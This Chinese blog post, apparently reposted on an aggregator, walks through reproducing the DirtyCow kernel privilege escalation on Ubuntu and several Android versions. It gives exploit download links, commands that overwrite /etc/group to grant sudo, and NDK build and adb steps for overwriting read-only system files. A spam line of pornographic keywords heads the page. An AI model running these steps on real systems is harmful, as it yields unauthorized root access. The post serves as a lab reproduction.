日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > linux >内容正文

linux

DirtyCow漏洞复现(脏牛、大脏牛、Linux、Android、提权)

發布時間:2025/3/15 linux 23 豆豆
生活随笔 收集整理的這篇文章主要介紹了 DirtyCow漏洞复现(脏牛、大脏牛、Linux、Android、提权) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

編譯好的EXP下載地址:?https://github.com/Brucetg/DirtyCow-EXP

該漏洞是 Linux 內核的內存子系統在處理寫時拷貝(Copy-on-Write)時存在條件競爭漏洞, 導致可以破壞私有只讀內存映射。黑客可以在獲取低權限的的本地用戶后,利用此漏洞獲取 其他只讀內存映射的寫權限,進一步獲取 root 權限。

?

1.Linux

Ubuntu 14.04 :

1)添加用戶:

sudo adduser test

輸入兩次密碼后一直回車就行,查看當前用戶的信息,終端輸入 id,回車,可以看到當 前用戶是有 sudo 權限的。

切換到剛剛新建的 test 用戶,同樣輸入 id,查看 test 用戶的信息,發現 test 用戶沒有 sudo 權限,

2)運行DirtyCow的exp進行提權:

git clone https://github.com/dirtycow/dirtycow.github.io cd dirtycow.github.io

編譯exp:

gcc dirtyc0w.c -o dirtycow lpthread

執行exp:

./dirtycow /etc/group “$(sed ‘/\(sudo*\)/ s/$/,test/’ /etc/group)”

新打開一個終端,切換到test,查看test用戶信息,可以看到test用戶已經擁有了sudo權限,執行sudo su ,輸入test用戶的密碼后就可以切換到root權限,提權成功。

漏洞成因:

Linux寫時拷貝技術(copy-on-write)

在Linux系統中,fork()會產生一個和父進程完全相同的子進程,但子進程在此后多會exec系統調用,出于效率考慮,Linux系統中引入了“寫時復制”技術,也就是只有進程空間的各段的內容要發生變化時,才會將父進程的內容復制一份給子進程。

?

2.Android:

Linux上編譯好的exp在Android平臺上不能用,使用NDK編譯下載好的exp:

EXP下載地址:

https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c

1. Android Studio中安裝NDK,把cmake和LLDB也安裝一下:

2. 在?https://github.com/googlesamples/android-ndk?下載源碼,導入Android Studio

如果導入項目時Android studio好像卡住了一樣,有可能是Android Studio在后臺正在下載東西,沿著這個路徑:項目/gradle/wrapper找到這個文件: gradle-wrapper.properties,打開它看看最后一行的gradle版本,若版本和你現有的版本不一致,可以去http://services.gradle.org/distributions/?上下載相應的版本,手動拷貝到:

C:\Users\用戶名\.gradle\wrapper\dists\gradle-4.1-all\bzyivzo6n839fup2jbap0tjew 目錄下

注:這里的 bzyivzo6n839fup2jbap0tjew 是隨機的

將下載好的android-ndk源碼解壓到某個位置,這里我是解壓到了桌面上,所以在我個人的的計算機上android-ndk路徑如下:

C:\Users\wangzt\Desktop\android-ndk

我們只需要用下面路徑中的相應文件即可:

C:\Users\wangzt\Desktop\android-ndk\hello-jni\app\src\main\

在main目錄下新建文件夾jni,在jni文件夾中新建兩個文件:Android.mk 和Application.mk,內容如下:

Android.mk

LOCAL_PATH:= $(call my-dir)include $(CLEAR_VARS) LOCAL_SRC_FILES:= dirtyc0w.c LOCAL_MODULE:= dirtycowLOCAL_FORCE_STATIC_EXECUTABLE := true #LOCAL_STATIC_LIBRARIES := libc #LOCAL_CFLAGS += -Iinclude/dir -DSOMEFLAGSinclude $(BUILD_EXECUTABLE)

Application.mk

APP_ABI := all

要編譯的文件:

3. 編譯EXP:

命令行下cd 到如下目錄:

C:\Users\wangzt\Desktop\android-ndk\hello-jni\app\src\main\jni>

執行命令:

D:\AndroidSDK\ndk-bundle\ndk-build

編譯成功后,在main目錄下的libs文件夾中即可找到編譯好的對應平臺的EXP:

編譯好的exp:

?

Android 4.4

adb連接手機(手機需開啟USB調試):

查看和adb連接的設備:

在/system/bin/目錄下新建文件test_dirty_cow,并且將其權限修改為644

將編譯好的EXP push到測試機的/data/local/tmp/目錄下的dirtycow文件中(這里選用的編譯好的POC是armeabi 平臺的,arm64-v8a經測試不能使用,可以根據自己用的測試機的架構選擇相應的平臺):

修改EXP權限:

當前用戶權限(shell):

切換到root權限,向test_dirty_cow文件中寫入 123456,寫入之后再切換為普通用戶權限(shell),以普通用戶權限執行EXP(下同):

/data/local/tmp/dirtycow /system/bin/test_dirty_cow modify

然后查看test_dirty_cow中的內容,發現文件內容已被修改為modify,復現成功:

Android 6.0.1 (安全補丁程序級別: 2017年2月1日)

測試機系統具體信息:

Android 6.0.1 默認關閉了并隱藏了開發者選項,需要在關于手機里的版本號處連續點擊5次版本號才可以啟用開發者選項,然后在開發者選項中啟用USB調試。

接著我們在 /system/bin 目錄下創建一個普通用戶沒有寫權限的文件,因為默認的 /system 目錄是只讀的,所以需要 remount /system

注意:

mount -o rw,remount /system

上述命令中,remount和它前面的逗號之間不要有空格。

接下來的操作步驟和在Android 4.4 系統中差不多:

adb中切換為root權限,將新建的test_dirtycow 文件的權限修改為 644

給EXP可執行權限:

執行EXP 報錯:

PIE這個安全機制從4.1引入,但是Android L之前的系統版本并不會去檢驗可執行文件是否基于PIE編譯出的。因此不會報錯。但是Android L已經開啟驗證,如果調用的可執行文件不是基于PIE方式編譯的,則無法運行。解決辦法非常簡單,在Android.mk中加入如下flag即可。

LOCAL_CFLAGS += -pie -fPIE LOCAL_LDFLAGS += -pie -fPIE

修改后的Android.mk 文件:

LOCAL_PATH:= $(call my-dir)include $(CLEAR_VARS) LOCAL_SRC_FILES:= dirtyc0w.c LOCAL_MODULE:= dirtycowLOCAL_FORCE_STATIC_EXECUTABLE := true #LOCAL_STATIC_LIBRARIES := libc #LOCAL_CFLAGS += -Iinclude/dir -DSOMEFLAGSLOCAL_CFLAGS += -pie -fPIE LOCAL_LDFLAGS += -pie -fPIEinclude $(BUILD_EXECUTABLE)

Application.mk

APP_ABI := all

編譯EXP:

Windows命令行下進行編譯,因為我下載的ndk 存放在D:\AndroidSDK\ndk-bundle文件夾中,所以只需要在命令行下輸入如下命令進行編譯:

D:\AndroidSDK\ndk-bundle\ndk-build

經測試,不能任意修改文件內容:

因為這個Android 6.0的系統安全補丁是2017年2月份的,估計漏洞已經修補好了。

Android 6.0.1_r68(安全補丁程序級別: 2016年9月6日)

不多說,一樣的操作:

可以看到test_dirtyc0w文件中的內容被修改為 modify,復現成功。

Android 5.1.1

復現過程:

用的EXP是測試Android 6.0.1時編譯好的,拿來直接用即可。

在/system/bin目錄下新建文件 test_dirty,試了幾次沒有成功:

解決辦法:執行

mount -o rw,remount /system

并將新建的test_dirty 權限修改為644:

向文件test_dirty中寫入 123456,執行EXP:

/data/local/tmp/dirtycow /system/bin/test_dirty modify

EXP執行一段時間后即可停止,此時再次查看 test_dirty 文件中的內容,發現文件內容已被更改為 modify,復現成功:

總結

以上是生活随笔為你收集整理的DirtyCow漏洞复现(脏牛、大脏牛、Linux、Android、提权)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。